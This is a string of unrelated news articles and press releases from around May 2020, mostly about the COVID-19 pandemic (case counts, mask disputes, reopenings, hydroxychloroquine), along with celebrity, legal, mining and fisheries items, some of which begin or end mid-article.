CORONAVIRUS CASES IN AUSTRALIA: 27,244 Victoria: 20,269 New South Wales: 4,273 Queensland: 1,161 Western Australia: 692 South Australia: 473 Tasmania: 230 Australian Capital Territory: 113 Northern Territory: 33 TOTAL CASES: 27,244 ESTIMATED ACTIVE CASES: 269 DEATHS: 897 Updated: 5.31 PM, 11 October, 2020 Source: Australian Government Department of Health Advertisement

In March Mr Calvert told Daily Mail Australia the tin was set up to give people a sanctuary amid the height of the pandemic.

'We thought we would give the local people a break from it all,' he said.

'They're taking the ban in good spirits.'

Mr Calvert said with the news occasionally playing in the background at the pub people do slip up.

'People can't help themselves. Over the last three days we have raised more than $100,' he said.

Social media users were highly impressed with the pub's move at the time.

'Best bloody post I've seen on Facebook in the past few months,' one person said.

Another said: 'Yep, a good way to shut them down and take a good collection for RFDS.'

'This is what I'm talking about! So over that word,' another said.

South Australia has not had a new case of coronavirus in two weeks - but have not gone as far as to declare themselves as free from the pandemic.

South Australia's last remaining COVID-19 patient Paul Faraguna, 68, walked out of hospital on Thursday after contracting the virus on the Ruby Princess cruise ship.

He had been in hospital for two months, according to the ABC.
David Spade was snapped filming in a Beverly Hills park on Thursday, as he donned what looked to be a makeshift pirate ensemble while collaborating with director Fred Wolf at a park.

The Birmingham, Michigan-born funnyman wore an all-black outfit of a collared black shirt with six loop holes, a shirt tied around his waist, a scarf on his head and a mask that covered around his eyes while holding what appeared to be a replica sword.

The Wrong Missy actor, 55, was seen checking with Wolf, 55, a frequent collaborator of his dating back to their Saturdray Night Live days, as he was a writer on the NBC stalwart from 1991 thru 1997, as well as the show's one-time head writer.

Out and about: David Spade, 55, was snapped filming in LA on Thursday, as he donned what looked to be a makeshift pirate ensemble while collaborating with director Fred Wolf at a park

In the years since, they've worked on projects such as Joe Dirt, Joe Dirt 2: Beautiful Loser and Dickie Roberts: Former Child Star.

During the shoot, Wolf donned a blue plaid shirt with khaki shorts and grey slip-on shoes, donning a face mask as he reviewed content with Spade.

Spade told Page Six Wednesday that he's 'dating someone now' amid the ongoing lockdown where he lives in Southern California.

'It's actually not a bad deal right now because it's [quarantine] ... I'm trying,' said the comic actor, who's past been in relationships with stunning starlets including Julie Bowen, Heather Locklear, Teri Hatcher and Naya Rivera.

Simpatico: They've worked on projects such as Joe Dirt, Joe Dirt 2: Beautiful Loser and Dickie Roberts: Former Child Star

Like a rock: Another man involved with the project appeared to be giving Spade a rock

Longtime ties: Spade and Wolf's professional collaborations date back to SNL, where Wolf was once the head writer

Spade, who's father to daughter Harper, 11, told Page Six that his reputation as a Hollywood lothario reflects the contrast between himself and the women he's been involved with.

'I think it was more played up because I didn't seem like this guy that goes out with girls at all so if there's one or two pretty ones it's so astounding, everyone freaks out and you write an article, "Oh a pretty girl went out with this guy!"' the comedy veteran told the outlet. 'They do articles like gross guys and pretty girls in Hollywood.'

The Lights Out star said that no matter how many gorgeous women he's dated, he's his biggest critic when it comes to looks.

'Listen, I just saw myself in The Wrong Missy and went, "Oof I am no prize, Jesus,"' he said. So I've got to call Kylie Jenner and get all her people and really fix me up.'

Suffering for his art: The veteran comic donned the all-black ensemble on a day of high temperatures in LA

Focused: The comic actor showed off a serious look in this shot from the session
Mumbai, May 22 : There was no respite from coronavirus in Maharashtra on Friday with 63 Covid-19 deaths and a staggering new high of 2,940 cases, taking the total number of patients to over 44K, officials said, as the state continued to notch fatalities above 50 and new patients over 2K consecutively for the past six days.

This comes to roughly one death every 23 minutes, and a staggering average 123 new cases recorded every hour in the state today.

With 63 fatalities -- down by 13 from highest 76 notched on May 19 -- the state death toll has crossed the 1,500 mark to now stand at 1,517 and the total number of coronavirus patients increased from 41,642 yesterday to 44,582 today.

The health department said of the total number of cases declared today, 30,474 were 'active cases' -- swelling by 2,020 over yesterday's 28,454.

The Mumbai death toll crossed the 900-mark and of the total 63 fatalities, 27 were recorded here taking the city deaths up from yesterday's 882 to 909 now, while the number of Covid-19 positive patients here shot up by 1,751 cases to touch 27,251 today.

Mumbai's crowded Dharavi slum alone continued to be a major red-hotspot and concern for the health authorities, notching 53 new cases today, taking the total number of patients to 1,478, and 57 deaths to date.

Besides Mumbai's 27 deaths, there were 9 in Pune, 8 in Jalgaon, Solapur 5, Thane, Palghar and Aurangabad districts 3 each, Satara 2, and one each in Nashik (Malegaon), Raigad (Panvel) and Nagpur.

They comprised 37 men and 26 women, and nearly 73 per cent of them suffered from other serious ailments such as diabetes, hypertension, heart problems and asthma.

On the positive side, 857 fully cured patients returned home today, taking the number of those discharged to 12,583.

In a significant decision, the Maharashtra government today decided to take over 80 per cent of all beds in private and charitable hospitals for Covid-19 patients, besides imposing ceilings on hospitalization and treatment for many major diseases, surgeries and other procedures.

The move came after hordes of complaints of exorbitant charges levied by private hospitals, no beds available and other related issues, which would now be resolved, said health officials.

The Mumbai Metropolitan Region (Thane Division) continued to cause huge health concerns with 1,027 Covid-19 deaths and cases shooting to 34,107.

Though trailing a distant second after Mumbai, Pune Division fatalities touched 280, besides 5,729 patients.

The next major area of concern is Nashik Division with 103 deaths and 1,513 positive cases, followed by Aurangabad Division with 43 fatalities and 1,367 cases, and finally Akola Division with 34 deaths and 672 cases.

There's Latur Division with 6 deaths and 211 cases, Kolhapur Division with 5 deaths and 411 patients, and finally Nagpur Division with 8 deaths and 524 cases.

Meanwhile, the number of people sent to home-quarantine increased from 437,304 to 469,275 today -- a huge spurt of 31,971 -- and those in institutional quarantine went up from 26,865 to 28,430, while the state's containment zones remained static at 1,949 on Friday.

As many as 16,154 health teams have carried out a survey of a population of around 66.3 lakhs in the state.

(Quaid Najmi can be contacted at q.najmi@ians.in)

Latest updates on Coronavirus (COVID-19)
President Donald Trump lashed out at Michigan Attorney General Dana Nessel, D, in a pair of late-night tweets Thursday after she called him "a petulant child" following his refusal to wear a face mask at all times during his visit to a Ford manufacturing plant in the state earlier that day.

"The president is like a petulant child who refuses to follow the rules," Nessel said in a Thursday evening appearance on CNN. "This is no joke."

Nessel, who wrote a strongly worded letter to Trump ahead of his visit telling him that he had a "legal" and "moral responsibility" to wear a mask, unleashed on the president in an interview with CNN's Wolf Blitzer. Nessel slammed Trump for sending a "terrible message" and said that his unwillingness to adhere to Democratic Gov. Gretchen Whitmer's executive order and Ford's company policy mandating face coverings showed that he does not care about anyone but himself.

"He is a ridiculous person and I am ashamed to have him be president of the United States of America," she said. "I hope that the voters of Michigan will remember this when November comes. That he didn't care enough about their safety, he didn't care about their welfare, he didn't respect them enough just to engage in the very simple task, the painless task, the easy task of wearing a mask when he was provided one."

She continued: "I hope that we'll have a new president soon enough who does respect people more than this president does."

The state's chief law enforcement official also doubled down on her previous threat to take action against any company or facility in Michigan that allows Trump inside without a mask, telling Blitzer that her office is "going to have to have a very serious conversation with Ford in the event that they permitted the president to be in publicly enclosed places in violation of the order."

Nessel's criticism did not go over well with Trump.

"The Wacky Do Nothing Attorney General of Michigan, Dana Nessel, is viciously threatening Ford Motor Company for the fact that I inspected a Ventilator plant without a mask," the president tweeted shortly after 11 p.m. "Not their fault, & I did put on a mask. No wonder many auto companies left Michigan, until I came along!"

Less than five minutes later, Trump fired off another attack aimed at the "Do nothing A.G. of the Great State of Michigan."

Nessel, he wrote, "should not be taking her anger and stupidity out on Ford Motor - they might get upset with you and leave the state, like so many other companies have - until I came along and brought business back to Michigan."

Ford did not respond to a request for comment from The Washington Post early Friday. But in a statement to reporters after Trump's visit, the company said that executive chairman Bill Ford had "encouraged" the president to wear a face covering on his tour inside the Detroit-area factory that has been repurposed to produce ventilators and masks.

"He wore a mask during a private viewing of three Ford GTs from over the years," the company's statement said. "The President later removed the mask for the remainder of the visit."

Trump said as much to reporters Thursday after he was questioned about his decision to go without a mask.

"I had one on before," he said, standing barefaced in front of several men wearing masks and a large sign advertising the facility's mask-making efforts. "But I didn't want to give the press the pleasure of seeing it."

Trump went on to add that he was "given a choice" about donning a face covering.

"I had one on in an area where they preferred it, so I put it on and it was very nice. But they said, 'Not necessary here,' " he said, later showing off a navy blue mask with a presidential seal to the cameras.

When asked to confirm Trump's comments, Bill Ford only shrugged and responded, "It's up to him."

Trump's disregard for the facility's policy and Whitmer's executive order, which requires that face coverings be worn in all enclosed public spaces, sparked widespread backlash Thursday, most notably from Nessel. Ahead of Trump's visit, Nessel had said that the president would be asked not to come back to Michigan if he didn't follow the state's mask mandate.

In her interview with Blitzer, Nessel said Thursday's events were "extremely disappointing and yet totally predictable," likely referring to past instances in which Trump has not respected mask policies - even those implemented by the White House.

Still, Nessel stressed that Trump's actions are "very, very concerning."

"He's conveying the worst possible message to people who cannot afford to be on the receiving end of terrible misinformation," she said, noting that the virus has now killed more than 93,000 people nationwide. In Michigan alone, there are about 53,500 confirmed cases and more than 5,100 deaths, according to most recent figures.

By flouting mask requirements, Nessel said Trump is essentially telling people, "I don't care about you. . . . I don't care about anyone but myself."

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

On the subject of taking action against Ford, Nessel did not go into specifics, but warned the automaker that Thursday's visit could have jeopardized the safety of its employees.

"They knew exactly what the order was and if they permitted anyone, even the president of the United States to defy that order, I think it has serious health consequences, potentially to their workers," she said. "The last thing we want to see is for this particular plant now to have to close its doors . . . because someone may have been infected by the president. That is a real possibility."

Though the novel coronavirus reached the White House earlier this month, Trump said he has consistently tested negative. Before leaving for Michigan on Thursday, Trump gave an update on his daily test results, telling reporters, "I tested very positively in another sense. . . . I tested positively toward negative."

"I tested perfectly this morning," he continued. "Meaning I tested negative. But that's a way of saying it: Positively toward the negative."

That didn't stop Nessel from condemning Trump's behavior at the Ford factory Thursday, or responding to his Twitter attack with scathing tweets of her own.

"Seems like you have a problem with all 3 women who run MI - as well as your ability to tell the truth," Nessel tweeted just before midnight, referencing Trump's recent clashes with Whitmer and Michigan Secretary of State Jocelyn Benson.

"Also, hard to say I've 'done nothing' as AG with all the lawsuits myself and the other @DemocraticAGs have filed and won against you," she added.

Nessel wasn't the only one on Thursday who went after Trump for failing to wear a mask for the entirety of his tour.

The sight of the lower half of Trump's face proved equally upsetting to late-night host Stephen Colbert, who lumped the president's visit in with the "series of disasters" Michigan is experiencing.

But the CBS host said Trump was right about one thing: the media would be too happy to see him in a mask.

"There would be enormous pleasure in seeing less of his face," Colbert joked.

- - -

The Washington Post's Anne Gearan contributed to this report.
JCB has reached agreement with the GMB union on a new working pattern that is designed to safeguard up to 915 hourly-paid shop floor positions across its UK operations.

The agri-machinery firm confirmed that it had concluded negotiations with the union over more flexible working arrangements for shop floor employees.

Businesses across the UK anticipate that the disruption caused by the Covid-19 pandemic is set to continue in the coming months.

The move by the British business aims to protect the jobs of up to 915 shop floor employees.

However, it does not affect the planned 950 salaried staff redundancies announced last week.

A ballot of GMB members is to be held next week on the new temporary collective agreement at factories in Staffordshire, Derbyshire and Wrexham.

The result is expected on Friday 29 May, and union members will cast their vote in person at the factory sites.

The announcement comes as JCB resumed production at UK factories where more than 2,000 employees have now returned to work.

JCB chief operating officer, Mark Turner said the firm had held 'very constructive discussions' with the GMB.

"It is pleasing that we have found a way forward on production flexibility because we expect disruption from the Covid-19 crisis to continue until at least the end of this year, he said.

Among the proposals GMB members are being asked to vote on is the introduction of a system of banking hours and extending shift patterns to include earlier starts and later finish times.

Employees would also be guaranteed 39 hours basic contractual pay in any one week.

The GMB is strongly recommending that its members vote in favour of the new arrangements. JCB and the GMB will review the agreement and may extend it for a further period.

In 2020 JCB had planned to sell and produce over 100,000 machines but production is now expected to be around 50,000.

The agricultural machinery firm currently employs around 6,700 people in the UK.
IRVINE, Calif., May 22, 2020 /PRNewswire/ --

WHEN: May 25, 2020 - 11:00 a.m. Memorial Day & End of Ramadan.

WHERE: At M.T.O. center in Orange County, CA (9303 Research Dr., Irvine, CA. 92618)

WHO/WHAT: The M.T.O. Shahmaghsoudi School of Islamic Sufism in Orange County will be joined by 34 other M.T.O. Centers across the globe as they mark the end of Ramadan by delivering thousands of food items and care packages to homeless and veterans in need, VA hospitals and low-income frontline families.

U.S. Congressmember Katie Porter and City of Irvine Councilmember Farah Khan will be giving remarks at this event.

As part of M.T.O.'s global COVID19 Initiatives, all M.T.O. centers around the world will be conducting similar food drives on the same day, in Canada, the United Kingdom, Spain, Germany, France, Denmark, Sweden, Australia, New Zealand and throughout 14 U.S. states.

Additionally, at 10:00 a.m. (PST), a special Instagram Live Tamarkoz (Sufi Meditation) session will be broadcast from the M.T.O. Los Angeles center. This session will provide specific meditation and relaxation techniques to provide stress management and assist in reducing anxiety during this historical time.

M.T.O. Tamarkoz Association offers ongoing free Instagram Live meditation and relaxation programs in response to the COVID-19 crisis. These programs are offered daily in English, Spanish, Hebrew, French, German, Farsi, Arabic, Urdu and Italian.

WHY: M.T.O. will mark the end of Ramadan - observed by Muslims worldwide as a month of fasting, prayer, reflection and community - by showing appreciation to the heroes who have sacrificed to protect us every day.

"While we may not be able to celebrate Eid Fitr with our families and loved ones this year, we cannot think of a better way to commemorate this wonderful occasion than continuing our global efforts in support of our local communities." - Ghoncheh Alavi, London M.T.O.

ABOUT: M.T.O. Shahmaghsoudi School of Islamic Sufism is an international non-profit organization that spans five continents. The teachings of the school bring the message of attaining self-knowledge, love, peace, tranquility and strength.

SOURCE MTO OC
The Environmental Justice Foundation (EJF) has said it is against the laws of Ghana to allow tuna boats to use light fishing as was recently approved by the Fisheries Commission.

Although the Fisheries Commission rescinded its earlier decision after an uproar by fishermen, the EJF said the decision in the first place had no basis in Ghanaian law and was therefore flawed.

Section 81 of the 2002 Fisheries Act prohibits industrial vessels from fishing inside the zone, except in limited circumstances which do not appear to include bait fishing, Executive Director of EJF, Steve Trent said.

He further indicated that the details of this decision have not been published, nor is there a clear legal basis for the earlier decision taken by the commission.

The fact that it was only rescinded after the canoe fishers voiced objections raises questions around the transparency fisheries decision-making, he added.

In April, the Fisheries Commission granted an exemption to allow tuna vessels to engage in light fishing, following pressure from the Ghana Tuna Association.

The vessels were permitted to use the method to catch bait in the waters off Saltpond, in Central region, and Keta, in Volta region.

However, in the wake of this decision, tensions grew with canoe fishers, who are not allowed to use this fishing practice leading to the change in the verdict.

Being the staple catch of the canoe fishers, populations of fish such as sardinella  known as small pelagic fish  are under severe strain in Ghanaian waters.

Landings of sardinella declined by approximately 80% between 1996 and 2016 and the UN FAO has recommended the complete closure of the fishery to prevent total collapse.

Mr Trent stressed the importance of transparency and inclusiveness in fisheries decision making in order to protect fish populations, livelihoods and food security in Ghana.

He said, The Fisheries Commission made the right choice in reversing the decision to allow light fishing by tuna vessels, but the case raises grave concerns. Why was the decision made in the first place without consultation of the affected fishing communities and without basis in law?

---Daily Guide
In the Hamptons, the locals have put up barricades to limit parking and deployed enforcement officers to ticket outsiders. Jersey Shore towns have banned short-term leases and Airbnb rentals. The Suffolk County executives office taunted Mayor Bill de Blasio: Do your job. Figure out a plan to safely reopen your beaches.

Since the coronavirus pandemic began, tensions have repeatedly flared over whether too many New York City residents have decamped to outlying vacation areas, potentially taking the virus with them. But now the region appears on the brink of a full-fledged (and nasty) battle over beaches, touched off by the citys decision to keep its shoreline closed.

In normal times, the Memorial Day weekend start of beach season sparks a mass migration from the city to Long Island, the Jersey Shore and, to a lesser extent, Connecticut. But Mr. de Blasios delay in opening the citys beaches for swimming  on Friday, his office suggested they could reopen in June  has led to a backlash from local officials in those areas.

The officials say they fear that their shorelines will be overwhelmed by an exodus of sun-starved New Yorkers blocked from their own beaches, which can in normal times attract a million people a day.
The Art Gallery of New South Wales in Sydney, Australia is reopening on June 1. (Brianne Makin/Getty Images)

Museums, Galleries, Libraries Reopen in Australia

As Australia begins to come out of lockdown and conversations shift from Stay Home to Stay Safe there is is a lot to look forward to. Restaurants are open again and interstate holidays are no longer just a dream.

In addition to food and travel, cultural activities are set for an exciting return as the nation allows the reopening of art galleries, libraries, and museums.

New South Wales (NSW) is the first state to allow cultural institutions such as museums, galleries, and libraries to reopen from June 1, as the government works to restart the economy after its battering by the CCP (Chinese Communist Party) virus, commonly known as novel coronavirus.

NSW Premier Gladys Berejiklian cautiously invited cultural institutions and libraries to reopen with strict new protocols in place.

NSW is home to some of Australias best art galleries and museums and I look forward to them reopening to the public, Berejiklian said in a statement on May 20.

The Art Gallery of NSW (AGNSW) will be one of the first cultural institutions to open its doors.

Shortly after Berejiklians statement, AGNSW wrote on Twitter: Gallery to re-open on 1 June 2020!

Gallery to re-open on 1 June 2020!

Art is a source of hope and inspiration in difficult times and weve been looking forward to welcoming everyone back. Sharing the vision of artists is at the heart of all we do and were excited to be re-connecting artists and audience on-site. pic.twitter.com/d9sioUmj1t  Art Gallery of NSW (@ArtGalleryofNSW) May 20, 2020

From Monday, June 1, AGNSW visitors will be able to see a number of exhibitions for free including the 22nd Biennale of Sydney: NIRIN, Shadow Catchers, Under the Stars, and Some Mysterious Process, a new exhibition curated by AGNSW Director, Michael Brand.

Other galleries and museums that will soon open their physical doors include the Museum and Art Gallery of the Northern Territory in Darwin, the Museum of Central Australia, and Megafauna Central in Alice Springs, and Art Gallery of South Australia.

Libraries

Libraries have also been given the green light in NSW, with the Australian Capital Territory, and Victoria soon to follow.

Libraries play an important role in our local communities, providing a safe space for learning and reading and I know many will be pleased to see them reopen, Berejiklian said.

The State Library of NSW is one of the first libraries to open in the nation and will make a slow transition to being a fully functioning library so that it could adequately comply with health guidelines.

We will be introducing an online booking system, with two x 3.5 hour sessions each day. This system will allow us to best manage our capacity and undertake a full clean between each session, State Librarian John Vallance said in a statement.

What has become abundantly clear over these past eight weeks is just how loved and valued libraries are, and this time apart has been tough on all of us, Vallance said.

Since the shutdown thousands of people have connected with their State and public libraries online for the first time, with over 20,000 new memberships recorded.

Timed ticketing, limited visitor capacity, and other hygiene measures are part of the guidelines for reopening cultural institutions in a COVID-19 safe way, not dissimilar to those required in restaurants and other public spaces. In addition, events will be requiring prepaid tickets, and groups and tours are also put on hold.

Performing Arts Venues

While art museums welcome back the public, performing arts and live music venues must wait longer due to the nature of their spaces.

Museums and art galleries are better placed to manage social distancing compared to theatres, given that audiences are fluid in the space; as larger venues, they can spread audiences out more effectively, Gina Fairley said on ArtsHub.

The Sydney Opera House is still playing to an empty house while the halls remain closed, but a newly built virtual stage is broadcasting shows from the inside.

Arts Centre Melbourne remains closed until June 30, and Geelong Arts Centre, Adelaide Town Hall, Canberra Theatre Centre, and other venues are yet to make announcements.
Dauphin County commissioners on Friday reiterated that Dauphin County is a business sanctuary county even as the county received the green light to reopen by May 29.

Gov. Tom Wolf cleared Dauphin and seven other counties to enter the yellow reopening phase by that date, as he continues to gradually reopen Pennsylvania.

County commissioners stressed that they would continue to focus on allowing businesses and communities to begin safely reopening.

Weve heard from hundreds of residents and business owners that the time to reopen is now, said Chairman Jeff Haste. Our focus remains supporting local businesses and building our economy back up, while directing resources to where they are needed most.

Under the yellow phase, all businesses must follow federal and state guidance for social distancing and cleaning and monitor public health indicators, adjust orders and restrictions as necessary.

The data for weeks was painstakingly clear: focus resources on our most vulnerable residents and nursing homes while easing restrictions elsewhere, said Commissioner Mike Pries. This is a positive step toward rebuilding our economy and getting people back to work.

Haste noted that as business sanctuary jurisdiction, Dauphin County would protect from prosecution by law enforcement any businesses choosing to reopen ahead of May 29.

According to a written statement issued by the county, Sheriff Nick Chimienti said that his office will not enforce the governors order to keep non-essential businesses closed, because they understand that many small business owners are trying to make a living, feed their families and pay their employees.

Haste and Pries, the majority Republicans on the board, had recently lashed out at the governor, criticizing his handling of the pandemic business closures.

Last week, they dropped plans to unilaterally break out of Wolfs pandemic reopening plan after the governor threatened to hold back federal funds and punish state-licensed businesses that did not comply with the state shutdown orders

Haste and Pries instead opted to create a county level reopening task force that would work to ensure the county opened in compliance with the state guidelines, including looking at whether any businesses that were closed could reopen safely.

Commissioner George P. Hartwick, III, the minority Democrat member welcomed the reopening news.

Ive spoken with Gov. Wolf and Im grateful that hes decided to begin consulting with county leaders, who are most familiar with their communities, to develop a plan that helps us prioritize both public health and safety as well as economic stability, he said. We need to get people back to work using a safe, measured approach and provide a level of certainty for residents and businesses. Our goal is not to get to yellow but to get to green and stay there.

After shutting down much of the state to slow the spread of the coronavirus, the Wolf administration said every county in Pennsylvania will be lifted from the stay-at-home order by June 5.

The counties lifted from the stay-at-home order on May 29 include: Dauphin, Franklin, Huntingdon, Lebanon, Luzerne, Monroe, Pike, and Schuylkill.

The Wolf administration also announced 17 counties will go to the green phase on May 29, which means all businesses can reopen as long as they follow state and federal guidelines.

Dauphin remains in the lockdown phase, with only those businesses deemed by the state to be life-sustaining or holding state-granted waivers operating, and many more waiting for the yellow phase certification.

Dauphin County government offices continue to operate and serve the public, but offices remain closed to the public. Dauphin County Prison will continue to operate under its pandemic protocol and only allow video visitation until further notice.

The state-issued yellow phase guidelines include, the continuation of telework where feasible and school closures for in-person instruction. While aggressive the stay-at-home order is lifted, large gatherings of more than 25 people are prohibited. Retail operations are encouraged to continue with curbside or delivery service.

Gyms, spas, hair salons, nail salons; casinos and theaters remain closed.

Restaurants and bars continue to be limited to carry-out and delivery only.

The administration had established metrics to determine when counties would move from the red to the yellow phase, and the administration did so largely by region. Among those metrics were testing capacity and hospitalization rates, as well as a requirement that counties report fewer than 50 new cases per 100,000 residents over the course of 14 days, a mark no county in the southeastern part of the commonwealth has reached yet.

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The state Supreme Court reinstated an Alameda County jurys verdict against a pipe supply company Thursday in a suit by a construction worker who was fatally stricken with cancer after cutting pipes that contained asbestos.

Jurors awarded $1.6 million in 2017 to Frank C. Hart, who installed pipes in sewer lines in 1976-77 and was later diagnosed with mesothelioma. A state appeals court overturned the verdict in 2018, saying there was no legal evidence that Keenan Properties, the defendant in the suit, supplied the pipe. The states high court unanimously reversed that ruling Thursday and returned the case to the county court to consider Keenans challenges to the amount of damages.

Hart died of cancer late last year. He lived in Southern California but filed suit in Oakland, where one company in the case was located. His widow, Cynthia Hart, remains a plaintiff. They settled their claims against all the companies except Keenan, which denied responsibility and went to trial.

Hart worked for Christeve Corp. installing thousands of feet of asbestos-cement pipe in sewer lines in McKinleyville (Humboldt County). To identify the supplier, he relied on testimony by a foreman, John Glamuzina, who said he recalled seeing Keenans name and logo, a circled letter K, on invoices he signed when receiving the pipes.

A Keenan official said he had no information that the company had sold pipes in McKinleyille at the time, and invoices from that period had long since been destroyed. The jury found that Keenan had been one of the companies that harmed Hart and awarded damages for financial losses and pain and suffering.

In reversing the verdict, the First District Court of Appeal in San Francisco said Glamuzinas identification of Keenan was hearsay  a secondhand account of events occurring outside the courtroom  and should not have been presented to the jury. But the state Supreme Court said Thursday that the foreman was merely describing what he saw and recognized and that his testimony was proper.

For example, Justice Carol Corrigan said in the 7-0 ruling, if Glamuzina had testified that he saw a document labeled, Best Pipes on Earth, the document could not be used as evidence of the pipes quality  which would be hearsay  but could be used to identify the company that employed the slogan.

The foremans job duties included checking invoices, and his testimony was relevant to prove the disputed link between Keenan and the pipes, regardless of the content, Corrigan said.

Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts.

The ruling means witnesses can testify as to names or logos they they observe on harmful products, said Denyse Clancy, a lawyer for the family. She said Hart lives on through his wife Cindy and the legacy that this opinion will leave for others who have been hurt by defective products.

A lawyer for the company declined to comment.

The case is Hart vs. Keenan Properties, S253295.

Bob Egelko is a San Francisco Chronicle staff writer. Email: begelko@sfchronicle.com Twitter: @BobEgelko
DGAP-News: Revelo Resources Corp. / Key word(s): Miscellaneous



The issuer is solely responsible for the content of this announcement.

Vancouver, British Columbia--(Newsfile Corp. - May 21, 2020) - Revelo Resources Corp. (TSXV: RVL) ("Revelo" or the "Company") reports it has concluded a series of key milestones that set the stage for the company's next phase of development. These actions included capital restructuring, repayment of third-party debt, conversion of management debt and completion of beneficial transactions (as indicated in the company's news release of February 6, 2020). As a result, Revelo approaches 2020/2021 with an improved capital structure and balance sheet, a streamlined and exceptional portfolio of gold and copper exploration assets in Chile and a firm commitment to execute our strategy to fulfill the company's vision. SUMMARY OF REVELO'S ACHIEVEMENTS IN 2020:* * See news releases dated January 20, February 6, March 20, March 26, April 21, April 27, May 6, and May 19, 2020. LOOKING AHEAD: 18 MONTHS These achievements leave the company in a much stronger position to carry out its strategy and plans for the next 18 months. Revelo will continue to evaluate all options to successfully explore its portfolio. Exploration work will be done efficiently, either by Revelo (in our gold portfolio) or with our partners (in our copper portfolio). We will exercise considerable influence on the technical programs to ensure our exploration concepts are tested successfully. Despite having negotiated eight joint ventures and having about $20 million spent by third parties over the last six years, many of our projects either remain untested or have specific targets that remain untested. With 38.6 million shares outstanding and a current market capitalization of about $4.0 million, the Company and its shareholders have significant leverage to exploration success within Revelo's portfolio. Our plans for the next 18 months include: REVELO'S ASSETS AS OF MAY 2020: Gold-Silver Portfolio - Shareholders will have direct interest in Revelo's gold-silver portfolio that comprises four projects totalling 38,500 hectares, with the key projects being Victoria Sur and the Las Pampas / Loro district: Copper Portfolio - Shareholders will additionally have significant leverage to copper through joint ventures on its three wholly-owned projects totalling more than 30,000 hectares, together with equity spin-outs that encompass a further 65,000 hectares of prospective ground: Qualified Person Demetrius Pohl, PhD., Certified Professional Geoscientist (CPG), an independent geological consultant to Revelo, is the Company's Qualified Person for the purposes of National Instrument 43-101 Standards of Disclosures for Mineral Projects of the Canadian Securities Administrators and has verified the data disclosed and approved the written disclosure of the technical information contained in this news release. ABOUT REVELO Revelo is a Canadian company listed on the TSX Venture Exchange (TSX-V: RVL). Revelo has interests in an outstanding portfolio of projects prospective for gold and copper located along proven mineral belts in Chile, one of the world's top mining jurisdictions. The Company's vision is to reward shareholders with wealth-generating mineral discoveries along Chile's prime mineral belts, through leveraged and more efficient capital deployment, exploration, discovery and monetization. For more information, please visit Revelo's website here www.reveloresources.com. The reader is cautioned that when reference to an historic or an existing mining district is made in the above descriptions, this is to help place the properties into geologic context and is for reference purposes only. There is no evidence to date that similar mineral resources occur on Revelo's properties. ON BEHALF OF THE BOARD

Michael Winn | Chairman INVESTOR CONTACT

Timothy J Beale | President & CEO

T: +1 604 687-5544 | info@reveloresources.com | www.reveloresources.com Neither the TSX Venture Exchange nor the Investment Industry Regulatory Organization of Canada accepts responsibility for the adequacy or accuracy of this release. FORWARD-LOOKING STATEMENT This news release contains certain statements that may be deemed "forward-looking statements". All statements in this release, other than statements of historical fact, that address events or developments that Revelo expects to occur, are forward-looking statements. Forward-looking statements are statements that are not historical facts and are generally, but not always, identified by the words "expects", "plans", "anticipates", "believes", "intends", "estimates", "projects", "potential", "indicate" and similar expressions, or that events or conditions "will", "would", "may", "could" or "should" occur. Although Revelo believes the expectations expressed in such forward-looking statements are based on reasonable assumptions, such statements are not guarantees of future performance and actual results may differ materially from those in forward-looking statements. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/56272 Click on, or paste the following link into your web browser,to view the associated documents http://www.newsfilecorp.com/release/56272

News Source: Newsfile



21.05.2020 Dissemination of a Corporate News, transmitted by DGAP - a service of EQS Group AG.

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Geneva: The World Health Organisation, which has come under repeated fire from US President Donald Trump, says the science is still unclear on an old malaria drug he's taking to try to defend against the novel coronavirus.

It says it recommends the drug's use for COVID-19 only in controlled clinical trials for now.

Dr Michael Ryan, the WHO's emergencies chief, notes the drug hydroxychloroquine, which Trump said Monday that he's taking, is just one of many possible therapies being now tested internationally to see if they are effective against the novel coronavirus.

His comments late Wednesday suggested WHO remains unbowed by Trump's repeated criticism over its response to the coronavirus pandemic, including most recently his threat to end all funding for the UN health agency from its biggest donor, the United States, if it doesn't reform.

Ryan nonetheless emphasized countries can make their own choices.

"Every sovereign nation, particularly those with effective regulatory authorities, is in a position to advise its own citizens regarding the use of any drug," he said.

"I would point out however that at this stage (neither) hydroxychloroquine nor chloroquine have been as yet found to be effective in the treatment of COVID-19 or in the prophylaxis against coming down with the disease," he said.

"In fact, the opposite, in that warnings have been issued by many authorities regarding the potential side effects of the drug."

Based on laboratory, animal and clinical studies, WHO is overseeing what it calls "Solidarity Trials" involving a number of countries on four possible treatments for COVID-19: remdesivir, which was previously tested as an Ebola treatment; the HIV treatment lopinavir and ritonavir; multiple sclerosis treatment interferon beta-1a; and related drugs chloroquine and hydroxychloroquine, which have been used to treat illnesses including malaria and rheumatoid arthritis.

"As WHO, we would advise that for COVID-19 these drugs be reserved for use within such trials," Ryan said.

Trump announced he was taking hydroxychloroquine, which he has repeatedly played up as a treatment for coronavirus, on Monday, the same day he sent a letter to WHO Director-General Tedros Adhanom Ghebreyesus threatening to end US funding for the agency unless it commits to "substantive improvements" in the next 30 days.

Trump's own administration has warned hydroxychloroquine can have deadly side effects, and both the European Medicines Agency and the US Food and Drug Administration warned health professionals last month that the drug should not be used to treat COVID-19 outside of hospital or research settings due to numerous serious side effects that in some cases can be fatal.

Trump has repeatedly criticized the WHO for its early response to the coronavirus outbreak and what he considers its excessive praise of China, where the outbreak began, at a time when his administration's own response in the U.S. has come under scrutiny.

Trump has already ordered a pause in US funding for the WHO, which totaled nearly USD 900 million in 2018-19, according to information on the agency's website. That represented about one-fifth of its total USD 4.4 billion budget for those years.
Volunteers grab absentee ballot applications to stuff into food boxes distributed by the city, school district, and nonprofit groups in Philadelphia last week. Read more

Its a familiar election night routine: Polls close, and everyone wants to know who won  immediately. Every minute matters for Americans anxiously awaiting the results. News organizations race to meet the demand by using complex statistical models to call the winner long before all the votes are counted.

But get comfortable waiting: Instant electoral gratification is about to become a thing of the past.

A new Pennsylvania law that allows any voter to cast a ballot by mail, along with a surge in requests for mail-in ballots driven by fears of voting in person during the coronavirus pandemic, has set up a 2020 election in which everyone could be left waiting for days before results are known.

